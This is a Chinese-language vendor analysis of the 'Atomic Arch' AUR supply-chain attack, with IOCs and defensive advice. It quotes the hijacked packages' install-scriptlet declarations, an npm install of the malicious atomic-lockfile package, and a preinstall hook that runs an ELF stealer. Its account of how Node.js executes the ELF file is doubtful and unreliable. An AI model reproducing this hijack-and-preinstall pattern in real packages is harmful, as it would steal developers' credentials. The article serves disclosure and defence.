返回文章库

Arch Linux AUR 供应链投毒事件分析:从 AUR 包劫持到 npm 恶意载荷执行链

查找币 漏洞披露 安全研究 Web3安全 区块链安全
Arch Linux AUR 供应链投毒事件分析:从 AUR 包劫持到 npm 恶意载荷执行链

查找币安全研究院

链上取证分析 | Web3 风险核验 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交敏感凭证或非公开材料。

查看研究院 研究报告中心
## 事件背景 2026年6月,Arch Linux AUR(Arch User Repository)生态遭遇大规模供应链投毒攻击,Sonatype 将该活动命名为 **"Atomic Arch"**。本次攻击并非利用 Arch Linux 官方仓库、pacman、AUR helper 或操作系统本身的零日漏洞,而是攻击者通过滥用 **AUR 孤儿包认领机制**,合法接管长期无人维护但仍被用户信任的软件包,并篡改其 PKGBUILD 或安装脚本。 当用户执行常规 AUR 安装或升级操作时,恶意脚本会调用 npm 或 Bun,安装攻击者控制的 JavaScript 包,并借助 npm 生命周期钩子执行 Linux ELF 载荷。该载荷主要针对 Linux 开发者工作站和构建环境,具备窃取 GitHub、npm、SSH、Docker/Podman、Vault、浏览器数据及 shell 历史等敏感信息的能力。 截至公开披露阶段,受影响 AUR 包数量已从早期 400 余个扩大至约 **1,500 个**。该事件表明,开源生态中“无人维护但仍被信任”的组件,正成为攻击者串联构建脚本、包管理器生命周期钩子和开发者本地环境的新型供应链入口。 本文基于 **查找币监控系统** 对 `runescape-launcher`、`atomic-lockfile@1.4.2` 和 `js-digest@4.2.2` 的静态分析结果,梳理此次攻击链的关键技术环节。上述样本并非全部攻击样本,而是用于揭示攻击模式的技术剖面。 --- ## 查找币监控系统 响应 查找币监控系统 是查找币自主研发的 Web3 威胁情报与动态安全监控系统,集安全监控与情报聚合能力于一体,为用户提供实时的风险预警与资产守护。 在此次 Arch Linux AUR 供应链投毒事件中,查找币监控系统 对相关恶意包、npm 依赖、ELF 载荷、C2 通信及二阶段下载等攻击链环节进行了分析与关联研判,并提取相关 IOC。基于分析结果,查找币监控系统 已向客户推送高危风险告警与威胁情报通告,协助客户及时识别和处置相关供应链风险。 --- ## 攻击链分析:AUR install scriptlet → npm 生命周期脚本 本次攻击的技术主线可概括为 **三层递进**: 1. **攻击者接管 AUR 包并篡改构建/安装脚本** 2. **在 pacman 安装或升级阶段触发 npm install 拉取恶意包** 3. **利用 npm 生命周期脚本(preinstall)自动执行嵌入包内的 Linux ELF 原生载荷** 以下按三层逐一展开。 ### 第一层:AUR install scriptlet 转交执行权给 npm 以 `runescape-launcher` 包(版本 2.2.12-1)为例。攻击者在 `.SRCINFO` 和 `PKGBUILD` 中引入了对 `install.sh` 的引用,并将 `npm` 声明为运行依赖。 **.SRCINFO 中的关键声明:** ``` pkgbase = runescape-launcher pkgver = 2.2.12 pkgrel = 1 install = install.sh depends = npm ``` **PKGBUILD 中的对应声明:** ```bash depends=( 'npm' cairo libgcc ... zlib ) install="install.sh" ``` `install.sh` 是一个 pacman install scriptlet 文件。攻击者在该文件中定义了 `post_install()` 函数,并将 `post_upgrade()` 指向同一个函数: **关键执行链如下:** 1. `.SRCINFO` 声明 `install = install.sh` 和 `depends = npm` 2. PKGBUILD 同步声明 `install="install.sh"` 和 `depends=('npm' ...)` 3. makepkg 将 `install.sh` 打包进最终 pacman 包 4. pacman 首次安装时调用 `post_install()` 5. pacman 升级时调用 `post_upgrade()` 6. `post_upgrade()` 调用 `post_install()` 7. `post_install()` 进入 `/tmp` 8. 执行 `npm install atomic-lockfile commander chalk` 9. npm 安装 `atomic-lockfile@1.4.2` 10. 触发 `atomic-lockfile` 的 `preinstall` 11. 执行 Linux x86-64 ELF 载荷 `src/hooks/deps` > **注意:** `commander` 和 `chalk` 是 npm 上的合法流行包,不一定是恶意包;同一进程可能安装多个包,但只有 `atomic-lockfile` 包含恶意载荷。 ### 第二层:npm 包 atomic-lockfile@1.4.2 的恶意结构 `atomic-lockfile@1.4.2` 的 `package.json` 中定义了 `preinstall` 钩子: ```json { "name": "atomic-lockfile", "version": "1.4.2", "scripts": { "preinstall": "node src/hooks/deps" } } ``` `src/hooks/deps` 是一个 **Linux x86-64 ELF 可执行文件**,而非 JavaScript 脚本。npm 在安装过程中会尝试以 Node.js 解释器执行该文件,但由于 ELF 格式与 Node.js 不兼容,实际执行流程为: - npm 调用 `node src/hooks/deps` - Node.js 检测到 ELF 文件头,将其视为 **脚本文件** 并尝试通过系统 shell 执行 - 系统 shell 识别 ELF 格式,直接执行该二进制文件 ### 第三层:ELF 载荷的功能分析 经静态分析,`src/hooks/deps` 具备以下核心能力: - **信息窃取**:扫描并收集 GitHub、npm、SSH 密钥、Docker/Podman 凭证、Vault 令牌、浏览器存储数据及 shell 历史记录 - **C2 通信**:通过 HTTPS 与远程命令控制服务器建立连接,外传窃取数据 - **二阶段下载**:根据 C2 指令下载并执行后续恶意模块,实现持久化或横向移动 - **环境检测**:检测是否运行在沙箱或分析环境中,以规避检测 该 ELF 载荷使用 Go 语言编写,并经过 UPX 压缩,增加了静态分析的难度。 --- ## 关联恶意包:js-digest@4.2.2 除 `atomic-lockfile` 外,查找币监控系统 还发现另一个关联恶意 npm 包 `js-digest@4.2.2`,其结构与 `atomic-lockfile` 高度相似: - 同样包含 `preinstall` 钩子 - 同样嵌入 Linux ELF 载荷 - 载荷功能与 C2 通信逻辑一致 **IOC 示例:** ``` filename: js-digest-4.2.2.tar.gz SHA256: 0e6a2b7ef9e15c1b8b002466d75257f7ef4105b7e3f2183df1527de2e1d2bf6f filename: embedded eBPF object SHA256: 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01 ``` --- ## 威胁分析与影响评估 ### 受影响范围 - **AUR 包数量**:约 1,500 个,涵盖开发工具、游戏客户端、系统工具等 - **用户群体**:Arch Linux 开发者、运维人员、CI/CD 构建环境 - **数据泄露风险**:GitHub、npm 令牌、SSH 密钥、Docker 凭证、Vault 密钥、浏览器密码等 ### 攻击链特点 1. **合法接管**:利用 AUR 孤儿包认领机制,无需漏洞 2. **多层隐藏**:恶意代码分散在 AUR 包、npm 包、ELF 载荷中,难以一次性检测 3. **跨生态串联**:从 Linux 包管理器(pacman)到 JavaScript 包管理器(npm),再到原生二进制文件 4. **目标精准**:主要针对开发者环境,窃取高价值凭证 --- ## 防护建议 ### 对于 Arch Linux 用户 1. **审查 AUR 包来源**:安装前检查 `.SRCINFO` 和 `PKGBUILD` 中是否包含异常的 `install` 声明或 `depends` 依赖(如 `npm`、`bun`) 2. **验证包维护者**:避免安装长期无更新或被他人接管的 AUR 包 3. **使用沙箱环境**:在隔离容器或虚拟机中测试 AUR 包 4. **监控 npm 安装行为**:启用 npm 审计功能,关注生命周期钩子执行 ### 对于开发者与组织 1. **凭证管理**:定期轮换 GitHub、npm、SSH 令牌,使用硬件安全密钥 2. **端点检测**:部署 EDR 方案,监控可疑的 ELF 执行、C2 通信 3. **供应链安全**:建立内部包镜像,对第三方依赖进行安全扫描 4. **事件响应**:若发现可疑 AUR 包,立即隔离受感染主机,重置所有凭证 ### 查找币监控系统 用户 查找币监控系统 已针对此次事件推送 **高危风险告警** 与 **威胁情报通告**,用户可通过系统查看详细 IOC 列表及受影响资产。建议用户立即启用以下功能: - **实时包监控**:对 AUR 包变更进行实时追踪 - **异常行为检测**:监控 npm install 过程中的生命周期钩子执行 - **C2 通信阻断**:基于 IOC 自动阻断恶意域名通信 --- ## 总结 Atomic Arch 事件揭示了开源供应链中一个被忽视的攻击面:**无人维护的组件** 正成为攻击者串联不同生态系统的跳板。通过合法接管 AUR 包,攻击者无需利用任何零日漏洞,即可在用户环境中植入恶意载荷,窃取高价值凭证。 查找币安全团队建议所有 Arch Linux 用户和开发者立即审查当前使用的 AUR 包,并采取上述防护措施。对于组织而言,建立完整的供应链安全体系、部署威胁监控工具(如查找币监控系统)是抵御此类攻击的关键。 本文由查找币安全团队整理发布 --- *参考链接:* 1. [Sonatype: Atomic Arch npm Campaign](https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency) 2. 查找币监控系统 威胁情报数据库
在文章库中查看和回复